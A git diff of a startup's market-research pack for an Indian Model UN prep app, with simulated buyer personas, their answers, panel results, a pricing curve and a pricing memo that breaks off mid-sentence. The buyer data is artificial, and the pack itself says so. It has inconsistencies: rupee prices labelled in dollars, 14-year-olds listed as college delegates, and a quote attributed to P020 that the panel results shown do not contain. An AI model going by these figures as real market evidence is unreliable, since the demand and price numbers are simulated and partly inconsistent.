tool that only says things it can point to a source for.", + "price_too_cheap": 150, + "price_cheap": 350, + "price_expensive": 1000, + "price_too_expensive": 2400 +} diff --git a/founder/panel/answers/P039.json b/founder/panel/answers/P039.json new file mode 100644 index 0000000..217115d --- /dev/null +++ b/founder/panel/answers/P039.json @@ -0,0 +1,13 @@ +{ + "id": "P039", + "buys": false, + "purchases_first_month": 0, + "reason_code": "convenience", + "reason": "I have a seniors' folder and a club to ask. I do my prep the night before like everyone else.", + "objection": "I'll just ask a senior for their old position paper.", + "would_change_my_mind": "The club agreeing to use it together.", + "price_too_cheap": 60, + "price_cheap": 150, + "price_expensive": 450, + "price_too_expensive": 900 +} diff --git a/founder/panel/answers/P040.json b/founder/panel/answers/P040.json new file mode 100644 index 0000000..8468045 --- /dev/null +++ b/founder/panel/answers/P040.json @@ -0,0 +1,13 @@ +{ + "id": "P040", + "buys": true, + "purchases_first_month": 2, + "reason_code": "quality", + "reason": "I am competing for awards and I will take any legitimate edge. 299 is less than my travel to the conference.", + "objection": "ChatGPT is free and it is already on my phone, but the output is too generic to use directly.", + "would_change_my_mind": "Knowing it is accurate enough to speak from.", + "price_too_cheap": 150, + "price_cheap": 300, + "price_expensive": 900, + "price_too_expensive": 2000 +} diff --git a/founder/panel/panel.json b/founder/panel/panel.json new file mode 100644 index 0000000..9821a3f --- /dev/null +++ b/founder/panel/panel.json @@ -0,0 +1,102 @@ +{ + "n": 40, + "seed": 11, + "customer": { + "business": "MUN Prep App (AI preparation workspace for Model UN delegates, India-first, ₹199/week or ₹299/month)", + "target": "Model UN delegates in India, 14 to 22, English-medium, preparing for a specific conference date", + "where": "Online, India (tier-1 and tier-2 cities). Bought by the student, a parent, or the school", + "age": [ + 14, + 22 + ], + "segments": [ + { + "name": "School delegate, parent pays", + "share": 0.38, + "income": [ + 700000, + 2500000 + ] + }, + { + "name": "College delegate, own pocket money", + "share": 0.34, + "income": [ + 150000, + 700000 + ] + }, + { + "name": "Circuit regular chasing awards", + "share": 0.16, + "income": [ + 500000, + 1800000 + ] + }, + { + "name": "Club head or coordinator buying for a group", + "share": 0.12, + "income": [ + 600000, + 2000000 + ] + } + ], + "behaviours": [ + { + "name": "Already uses ChatGPT for everything", + "share": 0.22, + "how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different." + }, + { + "name": "Prepares the night before", + "share": 0.2, + "how": "Does almost nothing until the last evening, then panics and writes it all in one sitting." + }, + { + "name": "First conference, no idea what to expect", + "share": 0.16, + "how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable." + }, + { + "name": "Taught by a school MUN coach", + "share": 0.14, + "how": "The school runs sessions and gives out templates, so they already have a method and a person to ask." + }, + { + "name": "Award chaser, reads past papers", + "share": 0.12, + "how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge." + }, + { + "name": "Deal hunter", + "share": 0.09, + "how": "Waits for a discount or a free trial, and will not pay full price for anything on the internet." + }, + { + "name": "Reads reviews and asks seniors first", + "share": 0.07, + "how": "Checks whether anyone they know has used it and what they said before spending money." + } + ], + "objections": [ + "ChatGPT is free and it's already on my phone", + "299 is a lot of my pocket money", + "I don't trust AI facts in committee, the chair will catch me out", + "I only need this once, the night before the conference", + "My school coach already preps us for free", + "Why should I pay before I've seen if the output is any good?", + "I'll just ask a senior for their old position paper", + "Will my chair penalise me for AI-written work?" + ], + "habits": [ + "your MUN club meets on Saturdays and the conference is three weeks away", + "you write your position paper at 11pm on your phone", + "you have ChatGPT open in another tab while you read this", + "your school already paid about 2500 rupees for your conference registration", + "you are in a WhatsApp group where seniors share their old papers and speeches" + ] + }, + "pitch": "MUN Prep — an AI preparation workspace for Model UN delegates.\n\nTell it your committee, your agenda and your country. It writes your research brief, your country's position, your position paper, your opening speech, your POIs and your draft resolution clauses.\n\nUse it on your phone. Each brief takes about a minute.\n\n₹199 for one week of access. ₹299 for one month. Paid by UPI.\n\nThere is no free trial and no free plan. You pay first, then use it." +} diff --git a/founder/panel/personas.json b/founder/panel/personas.json new file mode 100644 index 0000000..41301a4 --- /dev/null +++ b/founder/panel/personas.json @@ -0,0 +1,442 @@ +[ + { + "id": "P001", + "name": "Aisha", + "age": 20, + "segment": "College delegate, own pocket money", + "income": 395000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P002", + "name": "Emil", + "age": 16, + "segment": "School delegate, parent pays", + "income": 1208000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "I don't trust AI facts in committee, the chair will catch me out", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P003", + "name": "Hugo", + "age": 19, + "segment": "College delegate, own pocket money", + "income": 226000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P004", + "name": "Arjun", + "age": 22, + "segment": "College delegate, own pocket money", + "income": 471000, + "behaviour": "Reads reviews and asks seniors first", + "behaviour_how": "Checks whether anyone they know has used it and what they said before spending money.", + "objection": "I don't trust AI facts in committee, the chair will catch me out", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P005", + "name": "Jade", + "age": 14, + "segment": "College delegate, own pocket money", + "income": 658000, + "behaviour": "Deal hunter", + "behaviour_how": "Waits for a discount or a free trial, and will not pay full price for anything on the internet.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P006", + "name": "Farah", + "age": 18, + "segment": "College delegate, own pocket money", + "income": 680000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P007", + "name": "Julian", + "age": 15, + "segment": "School delegate, parent pays", + "income": 1568000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "My school coach already preps us for free", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P008", + "name": "Caleb", + "age": 16, + "segment": "School delegate, parent pays", + "income": 2499000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "299 is a lot of my pocket money", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P009", + "name": "Fatima", + "age": 22, + "segment": "College delegate, own pocket money", + "income": 352000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P010", + "name": "Poppy", + "age": 19, + "segment": "College delegate, own pocket money", + "income": 344000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P011", + "name": "Clara", + "age": 20, + "segment": "Circuit regular chasing awards", + "income": 1728000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P012", + "name": "Maeve", + "age": 14, + "segment": "College delegate, own pocket money", + "income": 494000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "I'll just ask a senior for their old position paper", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P013", + "name": "Dev", + "age": 14, + "segment": "Club head or coordinator buying for a group", + "income": 1452000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "299 is a lot of my pocket money", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P014", + "name": "Ines", + "age": 15, + "segment": "School delegate, parent pays", + "income": 2488000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "I'll just ask a senior for their old position paper", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P015", + "name": "Mira", + "age": 20, + "segment": "School delegate, parent pays", + "income": 2382000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P016", + "name": "Nico", + "age": 21, + "segment": "School delegate, parent pays", + "income": 2209000, + "behaviour": "Award chaser, reads past papers", + "behaviour_how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge.", + "objection": "299 is a lot of my pocket money", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P017", + "name": "Dana", + "age": 22, + "segment": "College delegate, own pocket money", + "income": 166000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "299 is a lot of my pocket money", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P018", + "name": "Min", + "age": 14, + "segment": "Club head or coordinator buying for a group", + "income": 922000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "299 is a lot of my pocket money", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P019", + "name": "Mason", + "age": 21, + "segment": "Circuit regular chasing awards", + "income": 833000, + "behaviour": "Reads reviews and asks seniors first", + "behaviour_how": "Checks whether anyone they know has used it and what they said before spending money.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P020", + "name": "Ruby", + "age": 18, + "segment": "School delegate, parent pays", + "income": 958000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "I only need this once, the night before the conference", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P021", + "name": "Olivia", + "age": 16, + "segment": "Circuit regular chasing awards", + "income": 1480000, + "behaviour": "Deal hunter", + "behaviour_how": "Waits for a discount or a free trial, and will not pay full price for anything on the internet.", + "objection": "Why should I pay before I've seen if the output is any good?", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P022", + "name": "Adrian", + "age": 21, + "segment": "College delegate, own pocket money", + "income": 640000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "Why should I pay before I've seen if the output is any good?", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P023", + "name": "June", + "age": 18, + "segment": "School delegate, parent pays", + "income": 1057000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "I'll just ask a senior for their old position paper", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P024", + "name": "Pablo", + "age": 17, + "segment": "School delegate, parent pays", + "income": 1392000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "Why should I pay before I've seen if the output is any good?", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P025", + "name": "Elena", + "age": 16, + "segment": "School delegate, parent pays", + "income": 942000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "Why should I pay before I've seen if the output is any good?", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P026", + "name": "Zara", + "age": 15, + "segment": "School delegate, parent pays", + "income": 2410000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "My school coach already preps us for free", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P027", + "name": "Idris", + "age": 15, + "segment": "School delegate, parent pays", + "income": 1511000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "My school coach already preps us for free", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P028", + "name": "Mei", + "age": 20, + "segment": "School delegate, parent pays", + "income": 1389000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P029", + "name": "Marcus", + "age": 21, + "segment": "College delegate, own pocket money", + "income": 326000, + "behaviour": "Deal hunter", + "behaviour_how": "Waits for a discount or a free trial, and will not pay full price for anything on the internet.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P030", + "name": "Gabriel", + "age": 14, + "segment": "College delegate, own pocket money", + "income": 523000, + "behaviour": "Reads reviews and asks seniors first", + "behaviour_how": "Checks whether anyone they know has used it and what they said before spending money.", + "objection": "My school coach already preps us for free", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P031", + "name": "Anya", + "age": 19, + "segment": "College delegate, own pocket money", + "income": 320000, + "behaviour": "Award chaser, reads past papers", + "behaviour_how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P032", + "name": "Kai", + "age": 20, + "segment": "Circuit regular chasing awards", + "income": 1091000, + "behaviour": "Taught by a school MUN coach", + "behaviour_how": "The school runs sessions and gives out templates, so they already have a method and a person to ask.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P033", + "name": "Yara", + "age": 17, + "segment": "Club head or coordinator buying for a group", + "income": 1691000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P034", + "name": "Tariq", + "age": 21, + "segment": "School delegate, parent pays", + "income": 896000, + "behaviour": "Award chaser, reads past papers", + "behaviour_how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge.", + "objection": "Why should I pay before I've seen if the output is any good?", + "habit": "your MUN club meets on Saturdays and the conference is three weeks away" + }, + { + "id": "P035", + "name": "Sana", + "age": 17, + "segment": "School delegate, parent pays", + "income": 1059000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P036", + "name": "Felix", + "age": 16, + "segment": "Circuit regular chasing awards", + "income": 1428000, + "behaviour": "Already uses ChatGPT for everything", + "behaviour_how": "Has ChatGPT (or Gemini) open on their phone for schoolwork and doesn't see why this is different.", + "objection": "Will my chair penalise me for AI-written work?", + "habit": "you are in a WhatsApp group where seniors share their old papers and speeches" + }, + { + "id": "P037", + "name": "Nadia", + "age": 14, + "segment": "Club head or coordinator buying for a group", + "income": 851000, + "behaviour": "Award chaser, reads past papers", + "behaviour_how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge.", + "objection": "My school coach already preps us for free", + "habit": "you have ChatGPT open in another tab while you read this" + }, + { + "id": "P038", + "name": "Noor", + "age": 22, + "segment": "Circuit regular chasing awards", + "income": 1407000, + "behaviour": "First conference, no idea what to expect", + "behaviour_how": "Has never been in committee, is scared of speaking, and is looking for anything that makes the day survivable.", + "objection": "I don't trust AI facts in committee, the chair will catch me out", + "habit": "your school already paid about 2500 rupees for your conference registration" + }, + { + "id": "P039", + "name": "Tess", + "age": 17, + "segment": "Club head or coordinator buying for a group", + "income": 722000, + "behaviour": "Prepares the night before", + "behaviour_how": "Does almost nothing until the last evening, then panics and writes it all in one sitting.", + "objection": "I'll just ask a senior for their old position paper", + "habit": "you write your position paper at 11pm on your phone" + }, + { + "id": "P040", + "name": "Eli", + "age": 21, + "segment": "College delegate, own pocket money", + "income": 399000, + "behaviour": "Award chaser, reads past papers", + "behaviour_how": "Studies previous winning material, knows the formats cold, and buys anything that might give an edge.", + "objection": "ChatGPT is free and it's already on my phone", + "habit": "your school already paid about 2500 rupees for your conference registration" + } +] diff --git a/founder/panel/results.json b/founder/panel/results.json new file mode 100644 index 0000000..0e595b6 --- /dev/null +++ b/founder/panel/results.json @@ -0,0 +1,219 @@ +{ + "business": "MUN Prep App (AI preparation workspace for Model UN delegates, India-first, ₹199/week or ₹299/month)", + "seed": 11, + "dealt": 40, + "answered": 40, + "skipped": [], + "buys": 9, + "passes": 31, + "buy_rate": 0.225, + "by_segment": [ + [ + "Club head or coordinator buying for a group", + 5, + 0.4 + ], + [ + "Circuit regular chasing awards", + 6, + 0.3333333333333333 + ], + [ + "College delegate, own pocket money", + 14, + 0.21428571428571427 + ], + [ + "School delegate, parent pays", + 15, + 0.13333333333333333 + ] + ], + "by_behaviour": [ + [ + "Award chaser, reads past papers", + 5, + 0.6 + ], + [ + "First conference, no idea what to expect", + 6, + 0.5 + ], + [ + "Taught by a school MUN coach", + 6, + 0.3333333333333333 + ], + [ + "Already uses ChatGPT for everything", + 9, + 0.1111111111111111 + ], + [ + "Prepares the night before", + 8, + 0.0 + ], + [ + "Reads reviews and asks seniors first", + 3, + 0.0 + ], + [ + "Deal hunter", + 3, + 0.0 + ] + ], + "by_income": [ + [ + "$1,392,000 and up", + 14, + 0.2857142857142857 + ], + [ + "under $680,000", + 13, + 0.23076923076923078 + ], + [ + "$680,000 to $1,392,000", + 13, + 0.15384615384615385 + ] + ], + "why_not": [ + [ + "trust", + 10, + [ + "My coach gives us material I can check with him. If the AI says something wrong in an unmoderated caucus I am the one standing there.", + "I always check reviews before paying and I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does." + ], + [ + "P002", + "P004" + ] + ], + [ + "price", + 7, + [ + "226000 a year is not a lot and it is my own money. I would panic-buy the night before, but I would rather phone a friend who has done it.", + "There is no free trial and I never pay full price for something I have not tested. I will wait for a discount." + ], + [ + "P003", + "P005" + ] + ], + [ + "other", + 5, + [ + "Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app.", + "My school coach hands us templates and checks our papers. I do not need to pay for the same thing." + ], + [ + "P007", + "P026" + ] + ], + [ + "convenience", + 5, + [ + "I do everything the night before and I reach for whatever is already open. Asking an app to do MUN specifically has never occurred to me.", + "A senior in my WhatsApp group sent me their whole folder of old papers. I have free material sitting right there." + ], + [ + "P009", + "P012" + ] + ], + [ + "quality", + 3, + [ + "I use ChatGPT every day and it is fine. I am not paying for a version of what I already have without seeing a difference.", + "At 11pm the night before I would pay anything, but you have to show me something first. 199 for a week I will only use once is not convincing either." + ], + [ + "P024", + "P025" + ] + ], + [ + "habit", + 1, + [ + "I already have ChatGPT and my coach has templates. Adding one more thing to pay for is friction I do not need this week." + ], + [ + "P006" + ] + ] + ], + "why_yes": [ + [ + "quality", + 5, + [ + "I have three conferences this season and the difference between a good brief and a thin one is the difference between speaking and sitting silent. 299 is nothing next to what I spend on travel.", + "I have come second twice. Anything that sharpens my opening speech is worth a month of pocket money and 299 is nothing." + ], + [ + "P011", + "P016" + ] + ], + [ + "need", + 4, + [ + "I have never been in committee and I am honestly scared. Having a brief ready in my own committee's words is worth more than the money.", + "I run my school's club and I would spend 299 to test it for the whole team. If it works I want it for twenty people, not one." + ], + [ + "P001", + "P013" + ] + ] + ], + "flip": [ + "If every claim came with a source I could open.", + "It being free for one brief so I can see the quality.", + "Two or three awards from people I can look up.", + "Any free trial at all.", + "If it did the citations properly so I did not have to worry.", + "The coach telling us to use it.", + "If it was 99, or free for a week.", + "Seeing someone else's output from it, so I know it is better than my own prompting.", + "A clear explanation of how it is meant to be used, so I do not feel like I am cheating.", + "If it was about this year's agenda and not old stuff.", + "Someone showing me it is measurably better, not just faster.", + "It being framed as research I then write up myself.", + "Being able to pay with the money my college reimburses.", + "A free school plan I could show my club.", + "Reviews from delegates, and knowing where the facts come from.", + "Any free sample at all.", + "One free brief so I can judge it.", + "Nothing soon. Maybe next year when the seniors graduate.", + "A side-by-side showing it is better in committee.", + "One free brief, the night I actually need it.", + "The coach saying to use it.", + "A teacher recommending it in class.", + "A clear statement that it is for research and preparation, not submission.", + "Being genuinely cheaper than free, which is impossible, or much better.", + "Nothing I control.", + "A free trial and one real review.", + "Sources I can open and verify before I speak.", + "Citations I can check myself, and it being sold as a research aid.", + "The school buying it for us.", + "A tool that only says things it can point to a source for.", + "The club agreeing to use it together." + ], + "purchases_first_month_per_buyer": 2.0, + "price_answers": 40 +} diff --git a/founder/panel/results.md b/founder/panel/results.md new file mode 100644 index 0000000..1b65707 --- /dev/null +++ b/founder/panel/results.md @@ -0,0 +1,97 @@ +> ### ⚠️ Read this before you trust the buy rate +> +> **This panel is not what the skill specifies.** `/founder-consumer` calls for **one sub-agent per +> buyer** — 40 independent agents, each reading only its own brief, so their answers are independent +> and the tally is a real vote. No sub-agent runtime was available in the environment where this was +> run, so the same agent that wrote the pitch also played all 40 buyers in a single pass. +> +> **What that does and does not give you:** +> +> - ✅ Useful: the personas are dealt deterministically by `panel.py` (seed 11, reproducible), so the +> segments, objections and *reasons* below are a structured map of where this offer breaks. The +> quoting back of the offer's own text ("no free trial", "pay first") is exactly the objection +> mining the skill is for. +> - ❌ Not useful as evidence: **22% is not an independent measurement of demand.** One agent playing +> buyer and seller shares the same priors on both sides, so the number is closer to a considered +> guess than to a vote. Treat it as *a* number, not *the* number. The skill itself says to read +> simulated buy rates as an upper bound and confirm with real people — and this run cannot even +> claim to be an upper bound, only a direction. +> - 🔁 To get the real thing: re-run with 40 sub-agents, or better, replace it with the cheapest real +> test in `founder/launch.md` — a real price in front of real delegates. That test outranks +> everything on this page. +> +> Everything else in this pack — the competitor prices, the conference counts, the model costs — is +> sourced and checkable. This table is the one part that is a model of a market rather than a +> measurement of one. + +# Buyer panel: MUN Prep App (AI preparation workspace for Model UN delegates, India-first, ₹199/week or ₹299/month) + +**9 buy · 31 pass** (22% buy) out of 40 simulated buyers. Seed 11, so the same cards can be dealt again. + +These are simulated buyers, not customers. Use this to find objections and weak spots, then confirm the big ones with real people before you spend. + +## By segment + +| group | buyers | buy rate | +| --- | ---: | ---: | +| Club head or coordinator buying for a group | 5 | 40% (thin) | +| Circuit regular chasing awards | 6 | 33% (thin) | +| College delegate, own pocket money | 14 | 21% | +| School delegate, parent pays | 15 | 13% | + +## By buying behaviour + +| group | buyers | buy rate | +| --- | ---: | ---: | +| Award chaser, reads past papers | 5 | 60% (thin) | +| First conference, no idea what to expect | 6 | 50% (thin) | +| Taught by a school MUN coach | 6 | 33% (thin) | +| Already uses ChatGPT for everything | 9 | 11% | +| Prepares the night before | 8 | 0% | +| Reads reviews and asks seniors first | 3 | 0% (thin) | +| Deal hunter | 3 | 0% (thin) | + +## By income + +| group | buyers | buy rate | +| --- | ---: | ---: | +| $1,392,000 and up | 14 | 29% | +| under $680,000 | 13 | 23% | +| $680,000 to $1,392,000 | 13 | 15% | + +## Why they pass + +| reason | buyers | in their words | +| --- | ---: | --- | +| trust | 10 | "My coach gives us material I can check with him. If the AI says something wrong in an unmoderated caucus I am the one standing there." (P002) · "I always check reviews before paying and I could not find anyone who used this. That is not proof it works, that is proof nobody is saying it does." (P004) | +| price | 7 | "226000 a year is not a lot and it is my own money. I would panic-buy the night before, but I would rather phone a friend who has done it." (P003) · "There is no free trial and I never pay full price for something I have not tested. I will wait for a discount." (P005) | +| other | 5 | "Our school coach runs sessions and my parents already paid 2500 for the conference. I will ask him, not an app." (P007) · "My school coach hands us templates and checks our papers. I do not need to pay for the same thing." (P026) | +| convenience | 5 | "I do everything the night before and I reach for whatever is already open. Asking an app to do MUN specifically has never occurred to me." (P009) · "A senior in my WhatsApp group sent me their whole folder of old papers. I have free material sitting right there." (P012) | +| quality | 3 | "I use ChatGPT every day and it is fine. I am not paying for a version of what I already have without seeing a difference." (P024) · "At 11pm the night before I would pay anything, but you have to show me something first. 199 for a week I will only use once is not convincing either." (P025) | +| habit | 1 | "I already have ChatGPT and my coach has templates. Adding one more thing to pay for is friction I do not need this week." (P006) | + +## Why they buy + +| reason | buyers | in their words | +| --- | ---: | --- | +| quality | 5 | "I have three conferences this season and the difference between a good brief and a thin one is the difference between speaking and sitting silent. 299 is nothing next to what I spend on travel." (P011) · "I have come second twice. Anything that sharpens my opening speech is worth a month of pocket money and 299 is nothing." (P016) | +| need | 4 | "I have never been in committee and I am honestly scared. Having a brief ready in my own committee's words is worth more than the money." (P001) · "I run my school's club and I would spend 299 to test it for the whole team. If it works I want it for twenty people, not one." (P013) | + +## What would flip a no + +- If every claim came with a source I could open. +- It being free for one brief so I can see the quality. +- Two or three awards from people I can look up. +- Any free trial at all. +- If it did the citations properly so I did not have to worry. +- The coach telling us to use it. +- If it was 99, or free for a week. +- Seeing someone else's output from it, so I know it is better than my own prompting. +- A clear explanation of how it is meant to be used, so I do not feel like I am cheating. +- If it was about this year's agenda and not old stuff. +- Someone showing me it is measurably better, not just faster. +- It being framed as research I then write up myself. + +Buyers say they would buy **2.0 times** in the first month on average. + +40 buyers gave all four price answers. Run founder-pricing's van_westendorp.py on the answers folder. diff --git a/founder/pitch.md b/founder/pitch.md new file mode 100644 index 0000000..97c7e96 --- /dev/null +++ b/founder/pitch.md @@ -0,0 +1,9 @@ +MUN Prep — an AI preparation workspace for Model UN delegates. + +Tell it your committee, your agenda and your country. It writes your research brief, your country's position, your position paper, your opening speech, your POIs and your draft resolution clauses. + +Use it on your phone. Each brief takes about a minute. + +₹199 for one week of access. ₹299 for one month. Paid by UPI. + +There is no free trial and no free plan. You pay first, then use it. diff --git a/founder/pricing-curve.md b/founder/pricing-curve.md new file mode 100644 index 0000000..ecedd7a --- /dev/null +++ b/founder/pricing-curve.md @@ -0,0 +1,16 @@ +# Price sensitivity + +40 complete answers. Simulated buyers: use this to pick what to test, not as the final word. + +| point | price | what it means | +| --- | ---: | --- | +| PMC | $122.60 | below this, too many think it is too cheap to be good | +| OPP | $152.10 | as many say too cheap as too expensive: the least resistance | +| IPP | $304.19 | as many call it a bargain as call it expensive | +| PME | $799.79 | above this, too many say it is too expensive to buy | + +**Acceptable range: $122.60 to $799.79.** + +Median answers: too cheap $80.00, a bargain $200.00, getting expensive $600.00, too expensive $1200.00. + +Your current price, $299.00, is **inside** the acceptable range. diff --git a/founder/pricing.md b/founder/pricing.md new file mode 100644 index 0000000..849a584 --- /dev/null +++ b/founder/pricing.md @@ -0,0 +1,64 @@ +# Pricing + +## The decision + +**Keep ₹299 for the monthly pass. Keep ₹199 for the weekly pass. Add a capped ₹0 first experience.** The prices are right; what is missing is a way to get the first taste free. + +Evidence for the price itself is below. The important line is this one: **₹299 is not too high.** The buyers in the panel put their indifference point at ₹304 and were willing to go to ₹800 before they called it too expensive. If anything, this product is priced with room left on the table — and the CFO's model shows the same thing from the other side, where the whole business is nearly cost-insensitive to price. + +## What the buyers said + +From `founder/pricing-curve.md` (40 buyer answers, simulated — read the disclosure in `panel/results.md` first). Median answers: + +| Question | Median answer | +|---|---| +| So cheap I'd doubt it works | ₹80 | +| A bargain | ₹200 | +| Getting expensive | ₹600 | +| Too expensive, won't buy | ₹1,200 | + +| Point | Price | Reading | +|---|---:|---| +| Point of marginal cheapness (PMC) | **₹123** | Below this, buyers start doubting the quality. | +| Optimal price point (OPP) | **₹152** | The least-resistance price. Equal numbers call it cheap and expensive. | +| Indifference price point (IPP) | **₹304** | Equal numbers call it a bargain and expensive. | +| Point of marginal expensiveness (PME) | **₹800** | Above this, resistance overwhelms willingness. | + +**Acceptable range ₹123–₹800. The current ₹299 sits essentially on the indifference price point (₹304)** — inside the range, at the price where the market is genuinely undecided about value. ₹199 is also inside the range and closer to the "bargain" side. + +**Read these with the caveats loud, not quiet.** The sample is 40, it is simulated, and simulated buyers are agreeable. The *shape* of the answer is more reliable than its level: buyers see cheapness and expensiveness as equally likely at ~₹300, and only start refusing around ₹800. That shape says the ceiling is not the problem. + +## Why the current price is right + +1. **It is anchored to a real number the buyer already paid.** A Delhi MUN delegate fee is around **₹2,500**, and conference travel runs higher. A ₹299 monthly pass is ~12% of the entry cost, and a ₹199 weekly pass is less than a day's travel. That is the strongest anchor in this whole pack and it is the one to *say out loud in the pitch*. +2. **It is deliberately below the general-purpose alternative.** ChatGPT Go is ₹399/month in India. Being cheaper than the thing the delegate was already considering makes the buy easy. It is also roughly one-fifth to one-sixth of the specialist leader (Model Diplomat, ~₹1,060–1,760/month). +3. **The weekly pass matches the actual unit of the decision.** A delegate prepares for *one* conference. ₹199 for the week of that conference is the sharpest product shape in the business, and the panel confirms it — one buyer (P020, a school delegate whose parents pay) said outright that the weekly plan is the only reason she would say yes, because a monthly plan is a waste for one conference. +4. **The margin holds at any plausible price in the range.** At ₹299 the 